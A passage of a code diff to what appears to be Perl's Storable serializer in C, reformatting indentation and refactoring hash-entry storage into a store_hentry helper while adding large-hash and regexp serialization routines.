+                TRACEME(("(#%d) key '%s' flags %x %u", (int)i, keyval, flags, *keyval));
+            } else {
+                /* This is a workaround for a bug in 5.8.0
+                   that causes the HEK_WASUTF8 flag to be
+                   set on an HEK without the hash being
+                   marked as having key flags. We just
+                   cross our fingers and drop the flag.
+                   AMS 20030901 */
+                assert (flags == 0 || flags == SHV_K_WASUTF8);
+                TRACEME(("(#%d) key '%s'", (int)i, keyval));
+            }
+            WLEN(keylen);
+            if (keylen)
+                WRITE(keyval, keylen);
+            if (flags & SHV_K_WASUTF8)
+                Safefree (keyval);
+        }
 
-		/* 
-		 * Free up the temporary array
-		 */
+        /* 
+         * Free up the temporary array
+         */
 
-		av_undef(av);
-		sv_free((SV *) av);
+        av_undef(av);
+        sv_free((SV *) av);
 
-	} else {
+    } else {
 
-		/*
-		 * Storing in "random" order (in the order the keys are stored
-		 * within the hash).  This is the default and will be faster!
-		 */
-  
-		for (i = 0; i < len; i++) {
-			char *key = 0;
-			I32 len;
-                        unsigned char flags;
+        /*
+         * Storing in "random" order (in the order the keys are stored
+         * within the hash).  This is the default and will be faster!
+         */
+
+        for (i = 0; i < len; i++) {
 #ifdef HV_ITERNEXT_WANTPLACEHOLDERS
-                        HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS);
+            HE *he = hv_iternext_flags(hv, HV_ITERNEXT_WANTPLACEHOLDERS);
 #else
-                        HE *he = hv_iternext(hv);
+            HE *he = hv_iternext(hv);
 #endif
-			SV *val = (he ? hv_iterval(hv, he) : 0);
-                        SV *key_sv = NULL;
-                        HEK *hek;
+            SV *val = (he ? hv_iterval(hv, he) : 0);
 
-			if (val == 0)
-				return 1;		/* Internal error, not I/O error */
+            if (val == 0)
+                return 1;		/* Internal error, not I/O error */
 
-                        /* Implementation of restricted hashes isn't nicely
-                           abstracted:  */
-                        flags
-                            = (((hash_flags & SHV_RESTRICTED)
-                                && SvTRULYREADONLY(val))
-                                             ? SHV_K_LOCKED : 0);
+            if ((ret = store_hentry(aTHX_ cxt, hv, i, he, hash_flags)))
+                goto out;
+#if 0
+            /* Implementation of restricted hashes isn't nicely
+               abstracted:  */
+            flags = (((hash_flags & SHV_RESTRICTED)
+                      && SvTRULYREADONLY(val))
+                     ? SHV_K_LOCKED : 0);
 
-                        if (val == &PL_sv_placeholder) {
-                            flags |= SHV_K_PLACEHOLDER;
-			    val = &PL_sv_undef;
-			}
+            if (val == &PL_sv_placeholder) {
+                flags |= SHV_K_PLACEHOLDER;
+                val = &PL_sv_undef;
+            }
 
-			/*
-			 * Store value first.
-			 */
+            /*
+             * Store value first.
+             */
 
-			TRACEME(("(#%d) value 0x%" UVxf, i, PTR2UV(val)));
+            TRACEME(("(#%d) value 0x%" UVxf, (int)i, PTR2UV(val)));
 
-			if ((ret = store(aTHX_ cxt, val)))	/* Extra () for -Wall, grr... */
-				goto out;
+            if ((ret = store(aTHX_ cxt, val)))	/* Extra () for -Wall */
+                goto out;
 
 
-                        hek = HeKEY_hek(he);
-                        len = HEK_LEN(hek);
-                        if (len == HEf_SVKEY) {
-                            /* This is somewhat sick, but the internal APIs are
-                             * such that XS code could put one of these in in
-                             * a regular hash.
-                             * Maybe we should be capable of storing one if
-                             * found.
-                             */
-                            key_sv = HeKEY_sv(he);
-                            flags |= SHV_K_ISSV;
-                        } else {
-                            /* Regular string key. */
+            hek = HeKEY_hek(he);
+            len = HEK_LEN(hek);
+            if (len == HEf_SVKEY) {
+                /* This is somewhat sick, but the internal APIs are
+                 * such that XS code could put one of these in in
+                 * a regular hash.
+                 * Maybe we should be capable of storing one if
+                 * found.
+                 */
+                key_sv = HeKEY_sv(he);
+                flags |= SHV_K_ISSV;
+            } else {
+                /* Regular string key. */
 #ifdef HAS_HASH_KEY_FLAGS
-                            if (HEK_UTF8(hek))
-                                flags |= SHV_K_UTF8;
-                            if (HEK_WASUTF8(hek))
-                                flags |= SHV_K_WASUTF8;
+                if (HEK_UTF8(hek))
+                    flags |= SHV_K_UTF8;
+                if (HEK_WASUTF8(hek))
+                    flags |= SHV_K_WASUTF8;
 #endif
-                            key = HEK_KEY(hek);
-                        }
-			/*
-			 * Write key string.
-			 * Keys are written after values to make sure retrieval
-			 * can be optimal in terms of memory usage, where keys are
-			 * read into a fixed unique buffer called kbuf.
-			 * See retrieve_hash() for details.
-			 */
+                key = HEK_KEY(hek);
+            }
+            /*
+             * Write key string.
+             * Keys are written after values to make sure retrieval
+             * can be optimal in terms of memory usage, where keys are
+             * read into a fixed unique buffer called kbuf.
+             * See retrieve_hash() for details.
+             */
 
-                        if (flagged_hash) {
-                            PUTMARK(flags);
-                            TRACEME(("(#%d) key '%s' flags %x", i, key, flags));
-                        } else {
-                            /* This is a workaround for a bug in 5.8.0
-                               that causes the HEK_WASUTF8 flag to be
-                               set on an HEK without the hash being
-                               marked as having key flags. We just
-                               cross our fingers and drop the flag.
-                               AMS 20030901 */
-                            assert (flags == 0 || flags == SHV_K_WASUTF8);
-                            TRACEME(("(#%d) key '%s'", i, key));
-                        }
-                        if (flags & SHV_K_ISSV) {
-                            int ret;
-                            if ((ret = store(aTHX_ cxt, key_sv)))
-                                goto out;
-                        } else {
-                            WLEN(len);
-                            if (len)
-				WRITE(key, len);
-                        }
-		}
+            if (flagged_hash) {
+                PUTMARK(flags);
+                TRACEME(("(#%d) key '%s' flags %x", (int)i, key, flags));
+            } else {
+                /* This is a workaround for a bug in 5.8.0
+                   that causes the HEK_WASUTF8 flag to be
+                   set on an HEK without the hash being
+                   marked as having key flags. We just
+                   cross our fingers and drop the flag.
+                   AMS 20030901 */
+                assert (flags == 0 || flags == SHV_K_WASUTF8);
+                TRACEME(("(#%d) key '%s'", (int)i, key));
+            }
+            if (flags & SHV_K_ISSV) {
+                int ret;
+                if ((ret = store(aTHX_ cxt, key_sv)))
+                    goto out;
+            } else {
+                WLEN(len);
+                if (len)
+                    WRITE(key, len);
+            }
+#endif
+        }
     }
 
-	TRACEME(("ok (hash 0x%" UVxf ")", PTR2UV(hv)));
+    TRACEME(("ok (hash 0x%" UVxf ")", PTR2UV(hv)));
 
-out:
-	HvRITER_set(hv, riter);		/* Restore hash iterator state */
-	HvEITER_set(hv, eiter);
+ out:
+    if (cxt->entry && cxt->recur_sv == (SV*)hv && cxt->recur_depth > 0) {
+        TRACEME(("recur_depth --%" IVdf , cxt->recur_depth));
+        --cxt->recur_depth;
+    }
+    HvRITER_set(hv, riter);		/* Restore hash iterator state */
+    HvEITER_set(hv, eiter);
 
-	return ret;
+    return ret;
 }
 
+static int store_hentry(pTHX_
+	stcxt_t *cxt, HV* hv, UV i, HE *he, unsigned char hash_flags)
+{
+    int ret = 0;
+    SV* val = hv_iterval(hv, he);
+    int flagged_hash = ((SvREADONLY(hv)
+#ifdef HAS_HASH_KEY_FLAGS
+                         || HvHASKFLAGS(hv)
+#endif
+                         ) ? 1 : 0);
+    unsigned char flags = (((hash_flags & SHV_RESTRICTED)
+                            && SvTRULYREADONLY(val))
+                           ? SHV_K_LOCKED : 0);
+#ifndef DEBUGME
+    PERL_UNUSED_ARG(i);
+#endif
+    if (val == &PL_sv_placeholder) {
+        flags |= SHV_K_PLACEHOLDER;
+        val = &PL_sv_undef;
+    }
+
+    /*
+     * Store value first.
+     */
+
+    TRACEME(("(#%d) value 0x%" UVxf, (int)i, PTR2UV(val)));
+
+    {
+        HEK* hek = HeKEY_hek(he);
+        I32  len = HEK_LEN(hek);
+        SV *key_sv = NULL;
+        char *key = 0;
+
+        if ((ret = store(aTHX_ cxt, val)))
+            return ret;
+        if (len == HEf_SVKEY) {
+            key_sv = HeKEY_sv(he);
+            flags |= SHV_K_ISSV;
+        } else {
+            /* Regular string key. */
+#ifdef HAS_HASH_KEY_FLAGS
+            if (HEK_UTF8(hek))
+                flags |= SHV_K_UTF8;
+            if (HEK_WASUTF8(hek))
+                flags |= SHV_K_WASUTF8;
+#endif
+            key = HEK_KEY(hek);
+        }
+        /*
+         * Write key string.
+         * Keys are written after values to make sure retrieval
+         * can be optimal in terms of memory usage, where keys are
+         * read into a fixed unique buffer called kbuf.
+         * See retrieve_hash() for details.
+         */
+
+        if (flagged_hash) {
+            PUTMARK(flags);
+            TRACEME(("(#%d) key '%s' flags %x", (int)i, key, flags));
+        } else {
+            /* This is a workaround for a bug in 5.8.0
+               that causes the HEK_WASUTF8 flag to be
+               set on an HEK without the hash being
+               marked as having key flags. We just
+               cross our fingers and drop the flag.
+               AMS 20030901 */
+            assert (flags == 0 || flags == SHV_K_WASUTF8);
+            TRACEME(("(#%d) key '%s'", (int)i, key));
+        }
+        if (flags & SHV_K_ISSV) {
+            if ((ret = store(aTHX_ cxt, key_sv)))
+                return ret;
+        } else {
+            WLEN(len);
+            if (len)
+                WRITE(key, len);
+        }
+    }
+    return ret;
+}
+
+
+#ifdef HAS_U64
 /*
+ * store_lhash
+ *
+ * Store a overlong hash table, with >2G keys, which we cannot iterate
+ * over with perl5. xhv_eiter is only I32 there. (only cperl can)
+ * and we also do not want to sort it.
+ * So we walk the buckets and chains manually.
+ *
+ * type, len and flags are already written.
+ */
+
+static int store_lhash(pTHX_ stcxt_t *cxt, HV *hv, unsigned char hash_flags)
+{
+    dVAR;
+    int ret = 0;
+    Size_t i;
+    UV ix = 0;
+    HE** array;
+#ifdef DEBUGME
+    UV len = (UV)HvTOTALKEYS(hv);
+#endif
+    if (hash_flags) {
+        TRACEME(("store_lhash (0x%" UVxf ") (flags %x)", PTR2UV(hv),
+                 (int) hash_flags));
+    } else {
+        TRACEME(("store_lhash (0x%" UVxf ")", PTR2UV(hv)));
+    }
+    TRACEME(("size = %" UVuf ", used = %" UVuf, len, (UV)HvUSEDKEYS(hv)));
+
+    TRACEME(("recur_depth %" IVdf ", recur_sv (0x%" UVxf ")", cxt->recur_depth,
+             PTR2UV(cxt->recur_sv)));
+    if (cxt->entry && cxt->recur_sv == (SV*)hv) {
+        if (RECURSION_TOO_DEEP_HASH()) {
+#if PERL_VERSION < 15
+            cleanup_recursive_data(aTHX_ (SV*)hv);
+#endif
+            CROAK((MAX_DEPTH_ERROR));
+        }
+    }
+    cxt->recur_sv = (SV*)hv;
+
+    array = HvARRAY(hv);
+    for (i = 0; i <= (Size_t)HvMAX(hv); i++) {
+        HE* entry = array[i];
+        if (!entry) continue;
+        if ((ret = store_hentry(aTHX_ cxt, hv, ix++, entry, hash_flags)))
+            return ret;
+        while ((entry = HeNEXT(entry))) {
+            if ((ret = store_hentry(aTHX_ cxt, hv, ix++, entry, hash_flags)))
+                return ret;
+        }
+    }
+    if (cxt->entry && cxt->recur_sv == (SV*)hv && cxt->recur_depth > 0) {
+        TRACEME(("recur_depth --%" IVdf, cxt->recur_depth));
+        --cxt->recur_depth;
+    }
+    assert(ix == len);
+    return ret;
+}
+#endif
+
+/*
  * store_code
  *
  * Store a code reference.
@@ -2698,102 +3273,183 @@
 {
 #if PERL_VERSION < 6
     /*
-	 * retrieve_code does not work with perl 5.005 or less
-	 */
-	return store_other(aTHX_ cxt, (SV*)cv);
+     * retrieve_code does not work with perl 5.005 or less
+     */
+    return store_other(aTHX_ cxt, (SV*)cv);
 #else
-	dSP;
-	I32 len;
-	int count, reallen;
-	SV *text, *bdeparse;
+    dSP;
+    STRLEN len;
+    STRLEN count, reallen;
+    SV *text, *bdeparse;
 
-	TRACEME(("store_code (0x%" UVxf ")", PTR2UV(cv)));
+    TRACEME(("store_code (0x%" UVxf ")", PTR2UV(cv)));
 
-	if (
-		cxt->deparse == 0 ||
-		(cxt->deparse < 0 && !(cxt->deparse =
-			SvTRUE(perl_get_sv("Storable::Deparse", GV_ADD)) ? 1 : 0))
+    if (
+        cxt->deparse == 0 ||
+        (cxt->deparse < 0 &&
+         !(cxt->deparse =
+           SvTRUE(get_sv("Storable::Deparse", GV_ADD)) ? 1 : 0))
 	) {
-		return store_other(aTHX_ cxt, (SV*)cv);
-	}
+        return store_other(aTHX_ cxt, (SV*)cv);
+    }
 
-	/*
-	 * Require B::Deparse. At least B::Deparse 0.61 is needed for
-	 * blessed code references.
-	 */
-	/* Ownership of both SVs is passed to load_module, which frees them. */
-	load_module(PERL_LOADMOD_NOIMPORT, newSVpvs("B::Deparse"), newSVnv(0.61));
-        SPAGAIN;
+    /*
+     * Require B::Deparse. At least B::Deparse 0.61 is needed for
+     * blessed code references.
+     */
+    /* Ownership of both SVs is passed to load_module, which frees them. */
+    load_module(PERL_LOADMOD_NOIMPORT, newSVpvs("B::Deparse"), newSVnv(0.61));
+    SPAGAIN;
 
-	ENTER;
-	SAVETMPS;
+    ENTER;
+    SAVETMPS;
 
-	/*
-	 * create the B::Deparse object
-	 */
+    /*
+     * create the B::Deparse object
+     */
 
-	PUSHMARK(sp);
-	XPUSHs(newSVpvs_flags("B::Deparse", SVs_TEMP));
-	PUTBACK;
-	count = call_method("new", G_SCALAR);
-	SPAGAIN;
-	if (count != 1)
-		CROAK(("Unexpected return value from B::Deparse::new\n"));
-	bdeparse = POPs;
+    PUSHMARK(sp);
+    XPUSHs(newSVpvs_flags("B::Deparse", SVs_TEMP));
+    PUTBACK;
+    count = call_method("new", G_SCALAR);
+    SPAGAIN;
+    if (count != 1)
+        CROAK(("Unexpected return value from B::Deparse::new\n"));
+    bdeparse = POPs;
 
-	/*
-	 * call the coderef2text method
-	 */
+    /*
+     * call the coderef2text method
+     */
 
-	PUSHMARK(sp);
-	XPUSHs(bdeparse); /* XXX is this already mortal? */
-	XPUSHs(sv_2mortal(newRV_inc((SV*)cv)));
-	PUTBACK;
-	count = call_method("coderef2text", G_SCALAR);
-	SPAGAIN;
-	if (count != 1)
-		CROAK(("Unexpected return value from B::Deparse::coderef2text\n"));
+    PUSHMARK(sp);
+    XPUSHs(bdeparse); /* XXX is this already mortal? */
+    XPUSHs(sv_2mortal(newRV_inc((SV*)cv)));
+    PUTBACK;
+    count = call_method("coderef2text", G_SCALAR);
+    SPAGAIN;
+    if (count != 1)
+        CROAK(("Unexpected return value from B::Deparse::coderef2text\n"));
 
-	text = POPs;
-	len = SvCUR(text);
-	reallen = strlen(SvPV_nolen(text));
+    text = POPs;
+    len = SvCUR(text);
+    reallen = strlen(SvPV_nolen(text));
 
-	/*
-	 * Empty code references or XS functions are deparsed as
-	 * "(prototype) ;" or ";".
-	 */
+    /*
+     * Empty code references or XS functions are deparsed as
+     * "(prototype) ;" or ";".
+     */
 
-	if (len == 0 || *(SvPV_nolen(text)+reallen-1) == ';') {
-	    CROAK(("The result of B::Deparse::coderef2text was empty - maybe you're trying to serialize an XS function?\n"));
-	}
+    if (len == 0 || *(SvPV_nolen(text)+reallen-1) == ';') {
+        CROAK(("The result of B::Deparse::coderef2text was empty - maybe you're trying to serialize an XS function?\n"));
+    }
 
-	/* 
-	 * Signal code by emitting SX_CODE.
-	 */
+    /* 
+     * Signal code by emitting SX_CODE.
+     */
 
-	PUTMARK(SX_CODE);
-	cxt->tagnum++;   /* necessary, as SX_CODE is a SEEN() candidate */
-	TRACEME(("size = %d", len));
-	TRACEME(("code = %s", SvPV_nolen(text)));
+    PUTMARK(SX_CODE);
+    cxt->tagnum++;   /* necessary, as SX_CODE is a SEEN() candidate */
+    TRACEME(("size = %d", (int)len));
+    TRACEME(("code = %s", SvPV_nolen(text)));
 
-	/*
-	 * Now store the source code.
-	 */
+    /*
+     * Now store the source code.
+     */
 
-	if(SvUTF8 (text))
-		STORE_UTF8STR(SvPV_nolen(text), len);
-	else
-		STORE_SCALAR(SvPV_nolen(text), len);
+    if(SvUTF8 (text))
+        STORE_UTF8STR(SvPV_nolen(text), len);
+    else
+        STORE_SCALAR(SvPV_nolen(text), len);
 
-	FREETMPS;
-	LEAVE;
+    FREETMPS;
+    LEAVE;
 
-	TRACEME(("ok (code)"));
+    TRACEME(("ok (code)"));
 
-	return 0;
+    return 0;
 #endif
 }
 
+#if PERL_VERSION < 8
+#   define PERL_MAGIC_qr                  'r' /* precompiled qr// regex */
+#   define BFD_Svs_SMG_OR_RMG SVs_RMG
+#elif ((PERL_VERSION==8) && (PERL_SUBVERSION >= 1) || (PERL_VERSION>8))
+#   define BFD_Svs_SMG_OR_RMG SVs_SMG
+#   define MY_PLACEHOLDER PL_sv_placeholder
+#else
+#   define BFD_Svs_SMG_OR_RMG SVs_RMG
+#   define MY_PLACEHOLDER PL_sv_undef
+#endif
+
+static int get_regexp(pTHX_ stcxt_t *cxt, SV* sv, SV **re, SV **flags) {
+    dSP;
+    SV* rv;
+#if PERL_VERSION >= 12
+    CV *cv = get_cv("re::regexp_pattern", 0);
+#else
+    CV *cv = get_cv("Storable::_regexp_pattern", 0);
+#endif
+    I32 count;
+
+    assert(cv);
+
+    ENTER;
+    SAVETMPS;
+    rv = sv_2mortal((SV*)newRV_inc(sv));
+    PUSHMARK(sp);
+    XPUSHs(rv);
+    PUTBACK;
+    /* optimize to call the XS directly later */
+    count = call_sv((SV*)cv, G_ARRAY);
+    SPAGAIN;
+    if (count < 2)
+      CROAK(("re::regexp_pattern returned only %d results", count));
+    *flags = POPs;
+    SvREFCNT_inc(*flags);
+    *re = POPs;
+    SvREFCNT_inc(*re);
+
+    PUTBACK;
+    FREETMPS;
+    LEAVE;
+
+    return 1;
+}
+
+static int store_regexp(pTHX_ stcxt_t *cxt, SV *sv) {
+    SV *re = NULL;
+    SV *flags = NULL;
+    const char *re_pv;
+    const char *flags_pv;
+    STRLEN re_len;
+    STRLEN flags_len;
+    U8 op_flags = 0;
+
+    if (!get_regexp(aTHX_ cxt, sv, &re, &flags))
+      return -1;
+
+    re_pv = SvPV(re, re_len);
+    flags_pv = SvPV(flags, flags_len);
+
+    if (re_len > 0xFF) {
+      op_flags |= SHR_U32_RE_LEN;
+    }
+    
+    PUTMARK(SX_REGEXP);
+    PUTMARK(op_flags);
+    if (op_flags & SHR_U32_RE_LEN) {
+      U32 re_len32 = re_len;
+      WLEN(re_len32);
+    }
+    else
+      PUTMARK(re_len);
+    WRITE(re_pv, re_len);
+    PUTMARK(flags_len);
+    WRITE(flags_pv, flags_len);
+
+    return 0;
+}
+
 /*
  * store_tied
  *
@@ -2804,61 +3460,61 @@
  */
 static int store_tied(pTHX_ stcxt_t *cxt, SV *sv)
 {
-	MAGIC *mg;
-	SV *obj = NULL;
-	int ret = 0;
-	int svt = SvTYPE(sv);
-	char mtype = 'P';
+    MAGIC *mg;
+    SV *obj = NULL;
+    int ret = 0;
+    int svt = SvTYPE(sv);
+    char mtype = 'P';
 
-	TRACEME(("store_tied (0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("store_tied (0x%" UVxf ")", PTR2UV(sv)));
 
-	/*
-	 * We have a small run-time penalty here because we chose to factorise
-	 * all tieds objects into the same routine, and not have a store_tied_hash,
-	 * a store_tied_array, etc...
-	 *
-	 * Don't use a switch() statement, as most compilers don't optimize that
-	 * well for 2/3 values. An if() else if() cascade is just fine. We put
-	 * tied hashes first, as they are the most likely beasts.
-	 */
+    /*
+     * We have a small run-time penalty here because we chose to factorise
+     * all tieds objects into the same routine, and not have a store_tied_hash,
+     * a store_tied_array, etc...
+     *
+     * Don't use a switch() statement, as most compilers don't optimize that
+     * well for 2/3 values. An if() else if() cascade is just fine. We put
+     * tied hashes first, as they are the most likely beasts.
+     */
 
-	if (svt == SVt_PVHV) {
-		TRACEME(("tied hash"));
-		PUTMARK(SX_TIED_HASH);			/* Introduces tied hash */
-	} else if (svt == SVt_PVAV) {
-		TRACEME(("tied array"));
-		PUTMARK(SX_TIED_ARRAY);			/* Introduces tied array */
-	} else {
-		TRACEME(("tied scalar"));
-		PUTMARK(SX_TIED_SCALAR);		/* Introduces tied scalar */
-		mtype = 'q';
-	}
+    if (svt == SVt_PVHV) {
+        TRACEME(("tied hash"));
+        PUTMARK(SX_TIED_HASH);		/* Introduces tied hash */
+    } else if (svt == SVt_PVAV) {
+        TRACEME(("tied array"));
+        PUTMARK(SX_TIED_ARRAY);		/* Introduces tied array */
+    } else {
+        TRACEME(("tied scalar"));
+        PUTMARK(SX_TIED_SCALAR);	/* Introduces tied scalar */
+        mtype = 'q';
+    }
 
-	if (!(mg = mg_find(sv, mtype)))
-		CROAK(("No magic '%c' found while storing tied %s", mtype,
-			(svt == SVt_PVHV) ? "hash" :
-				(svt == SVt_PVAV) ? "array" : "scalar"));
+    if (!(mg = mg_find(sv, mtype)))
+        CROAK(("No magic '%c' found while storing tied %s", mtype,
+               (svt == SVt_PVHV) ? "hash" :
+               (svt == SVt_PVAV) ? "array" : "scalar"));
 
-	/*
-	 * The mg->mg_obj found by mg_find() above actually points to the
-	 * underlying tied Perl object implementation. For instance, if the
-	 * original SV was that of a tied array, then mg->mg_obj is an AV.
-	 *
-	 * Note that we store the Perl object as-is. We don't call its FETCH
-	 * method along the way. At retrieval time, we won't call its STORE
-	 * method either, but the tieing magic will be re-installed. In itself,
-	 * that ensures that the tieing semantics are preserved since further
-	 * accesses on the retrieved object will indeed call the magic methods...
-	 */
+    /*
+     * The mg->mg_obj found by mg_find() above actually points to the
+     * underlying tied Perl object implementation. For instance, if the
+     * original SV was that of a tied array, then mg->mg_obj is an AV.
+     *
+     * Note that we store the Perl object as-is. We don't call its FETCH
+     * method along the way. At retrieval time, we won't call its STORE
+     * method either, but the tieing magic will be re-installed. In itself,
+     * that ensures that the tieing semantics are preserved since further
+     * accesses on the retrieved object will indeed call the magic methods...
+     */
 
-	/* [#17040] mg_obj is NULL for scalar self-ties. AMS 20030416 */
-	obj = mg->mg_obj ? mg->mg_obj : newSV(0);
-	if ((ret = store(aTHX_ cxt, obj)))
-		return ret;
+    /* [#17040] mg_obj is NULL for scalar self-ties. AMS 20030416 */
+    obj = mg->mg_obj ? mg->mg_obj : newSV(0);
+    if ((ret = store(aTHX_ cxt, obj)))
+        return ret;
 
-	TRACEME(("ok (tied)"));
+    TRACEME(("ok (tied)"));
 
-	return 0;
+    return 0;
 }
 
 /*
@@ -2875,51 +3531,48 @@
  */
 static int store_tied_item(pTHX_ stcxt_t *cxt, SV *sv)
 {
-	MAGIC *mg;
-	int ret;
+    MAGIC *mg;
+    int ret;
 
-	TRACEME(("store_tied_item (0x%" UVxf ")", PTR2UV(sv)));
+    TRACEME(("store_tied_item (0x%" UVxf ")", PTR2UV(sv)));
 
-	if (!(mg = mg_find(sv, 'p')))
-		CROAK(("No magic 'p' found while storing reference to tied item"));
+    if (!(mg = mg_find(sv, 'p')))
+        CROAK(("No magic 'p' found while storing reference to tied item"));
 
-	/*
-	 * We discriminate between \$h{key} and \$a[idx] via mg_ptr.
-	 */
+    /*
+     * We discriminate between \$h{key} and \$a[idx] via mg_ptr.
+     */
 
-	if (mg->mg_ptr) {
-		TRACEME(("store_tied_item: storing a ref to a tied hash item"));
-		PUTMARK(SX_TIED_KEY);
-		TRACEME(("store_tied_item: storing OBJ 0x%" UVxf,
-                         PTR2UV(mg->mg_obj)));
+    if (mg->mg_ptr) {
+        TRACEME(("store_tied_item: storing a ref to a tied hash item"));
+        PUTMARK(SX_TIED_KEY);
+        TRACEME(("store_tied_item: storing OBJ 0x%" UVxf, PTR2UV(mg->mg_obj)));
 
-		if ((ret = store(aTHX_ cxt, mg->mg_obj)))		/* Extra () for -Wall, grr... */
-			return ret;
+        if ((ret = store(aTHX_ cxt, mg->mg_obj)))	/* Extra () for -Wall, grr... */
+            return ret;
 
-		TRACEME(("store_tied_item: storing PTR 0x%" UVxf,
-                         PTR2UV(mg->mg_ptr)));
+        TRACEME(("store_tied_item: storing PTR 0x%" UVxf, PTR2UV(mg->mg_ptr)));
 
-		if ((ret = store(aTHX_ cxt, (SV *) mg->mg_ptr)))	/* Idem, for -Wall */
-			return ret;
-	} else {
-		I32 idx = mg->mg_len;
+        if ((ret = store(aTHX_ cxt, (SV *) mg->mg_ptr))) /* Idem, for -Wall */
+            return ret;
+    } else {
+        I32 idx = mg->mg_len;
 
-		TRACEME(("store_tied_item: storing a ref to a tied array item "));
-		PUTMARK(SX_TIED_IDX);
-		TRACEME(("store_tied_item: storing OBJ 0x%" UVxf,
-                         PTR2UV(mg->mg_obj)));
+        TRACEME(("store_tied_item: storing a ref to a tied array item "));
+        PUTMARK(SX_TIED_IDX);
+        TRACEME(("store_tied_item: storing OBJ 0x%" UVxf, PTR2UV(mg->mg_obj)));
 
-		if ((ret = store(aTHX_ cxt, mg->mg_obj)))		/* Idem, for -Wall */
-			return ret;
+        if ((ret = store(aTHX_ cxt, mg->mg_obj)))	/* Idem, for -Wall */
+            return ret;
 
-		TRACEME(("store_tied_item: storing IDX %d", idx));
+        TRACEME(("store_tied_item: storing IDX %d", (int)idx));
 
-		WLEN(idx);
-	}
+        WLEN(idx);
+    }
 
-	TRACEME(("ok (tied item)"));
+    TRACEME(("ok (tied item)"));
 
-	return 0;
+    return 0;
 }
 
 /*
@@ -2968,417 +3621,469 @@
  * any other tied variable.
  */
 static int store_hook(
-        pTHX_
-	stcxt_t *cxt,
-	SV *sv,
-	int type,
-	HV *pkg,
-	SV *hook)
+                      pTHX_
+                      stcxt_t *cxt,
+                      SV *sv,
+                      int type,
+                      HV *pkg,
+                      SV *hook)
 {
-	I32 len;
-	char *classname;
-	STRLEN len2;
-	SV *ref;
-	AV *av;
-	SV **ary;
-	int count;				/* really len3 + 1 */
-	unsigned char flags;
-	char *pv;
-	int i;
-	int recursed = 0;		/* counts recursion */
-	int obj_type;			/* object type, on 2 bits */
-	I32 classnum;
-	int ret;
-	int clone = cxt->optype & ST_CLONE;
-	char mtype = '\0';				/* for blessed ref to tied structures */
-	unsigned char eflags = '\0';	/* used when object type is SHT_EXTRA */
+    I32 len;
+    char *classname;
+    STRLEN len2;
+    SV *ref;
+    AV *av;
+    SV **ary;
+    int count;			/* really len3 + 1 */
+    unsigned char flags;
+    char *pv;
+    int i;
+    int recursed = 0;		/* counts recursion */
+    int obj_type;		/* object type, on 2 bits */
+    I32 classnum;
+    int ret;
+    int clone = cxt->optype & ST_CLONE;
+    char mtype = '\0';		/* for blessed ref to tied structures */
+    unsigned char eflags = '\0'; /* used when object type is SHT_EXTRA */
+#ifdef HAS_U64
+    int need_large_oids = 0;
+#endif
 
-	TRACEME(("store_hook, classname \"%s\", tagged #%d", HvNAME_get(pkg), cxt->tagnum));
+    TRACEME(("store_hook, classname \"%s\", tagged #%d", HvNAME_get(pkg), (int)cxt->tagnum));
 
-	/*
-	 * Determine object type on 2 bits.
-	 */
+    /*
+     * Determine object type on 2 bits.
+     */
 
-	switch (type) {
-        case svis_REF:
-	case svis_SCALAR:
-		obj_type = SHT_SCALAR;
-		break;
-	case svis_ARRAY:
-		obj_type = SHT_ARRAY;
-		break;
-	case svis_HASH:
-		obj_type = SHT_HASH;
-		break;
-	case svis_TIED:
-		/*
-		 * Produced by a blessed ref to a tied data structure, $o in the
-		 * following Perl code.
-		 *
-		 * 	my %h;
-		 *  tie %h, 'FOO';
-		 *	my $o = bless \%h, 'BAR';
-		 *
-		 * Signal the tie-ing magic by setting the object type as SHT_EXTRA
-		 * (since we have only 2 bits in <flags> to store the type), and an
-		 * <extra> byte flag will be emitted after the FIRST <flags> in the
-		 * stream, carrying what we put in 'eflags'.
-		 */
-		obj_type = SHT_EXTRA;
-		switch (SvTYPE(sv)) {
-		case SVt_PVHV:
-			eflags = (unsigned char) SHT_THASH;
-			mtype = 'P';
-			break;
-		case SVt_PVAV:
-			eflags = (unsigned char) SHT_TARRAY;
-			mtype = 'P';
-			break;
-		default:
-			eflags = (unsigned char) SHT_TSCALAR;
-			mtype = 'q';
-			break;
-		}
-		break;
-	default:
-		CROAK(("Unexpected object type (%d) in store_hook()", type));
-	}
-	flags = SHF_NEED_RECURSE | obj_type;
+    switch (type) {
+    case svis_REF:
+    case svis_SCALAR:
+        obj_type = SHT_SCALAR;
+        break;
+    case svis_ARRAY:
+        obj_type = SHT_ARRAY;
+        break;
+    case svis_HASH:
+        obj_type = SHT_HASH;
+        break;
+    case svis_TIED:
+        /*
+         * Produced by a blessed ref to a tied data structure, $o in the
+         * following Perl code.
+         *
+         * 	my %h;
+         *  tie %h, 'FOO';
+         *	my $o = bless \%h, 'BAR';
+         *
+         * Signal the tie-ing magic by setting the object type as SHT_EXTRA
+         * (since we have only 2 bits in <flags> to store the type), and an
+         * <extra> byte flag will be emitted after the FIRST <flags> in the
+         * stream, carrying what we put in 'eflags'.
+         */
+        obj_type = SHT_EXTRA;
+        switch (SvTYPE(sv)) {
+        case SVt_PVHV:
+            eflags = (unsigned char) SHT_THASH;
+            mtype = 'P';
+            break;
+        case SVt_PVAV:
+            eflags = (unsigned char) SHT_TARRAY;
+            mtype = 'P';
+            break;
+        default:
+            eflags = (unsigned char) SHT_TSCALAR;
+            mtype = 'q';
+            break;
+        }
+        break;
+    default:
+        CROAK(("Unexpected object type (%d) in store_hook()", type));
+    }
+    flags = SHF_NEED_RECURSE | obj_type;
 
-	classname = HvNAME_get(pkg);
-	len = strlen(classname);
+    classname = HvNAME_get(pkg);
+    len = strlen(classname);
 
-	/*
-	 * To call the hook, we need to fake a call like:
-	 *
-	 *    $object->STORABLE_freeze($cloning);
-	 *
-	 * but we don't have the $object here.  For instance, if $object is
-	 * a blessed array, what we have in 'sv' is the array, and we can't
-	 * call a method on those.
-	 *
-	 * Therefore, we need to create a temporary reference to the object and
-	 * make the call on that reference.
-	 */
+    /*
+     * To call the hook, we need to fake a call like:
+     *
+     *    $object->STORABLE_freeze($cloning);
+     *
+     * but we don't have the $object here.  For instance, if $object is
+     * a blessed array, what we have in 'sv' is the array, and we can't
+     * call a method on those.
+     *
+     * Therefore, we need to create a temporary reference to the object and
+     * make the call on that reference.
+     */
 
-	TRACEME(("about to call STORABLE_freeze on class %s", classname));
+    TRACEME(("about to call STORABLE_freeze on class %s", classname));
 
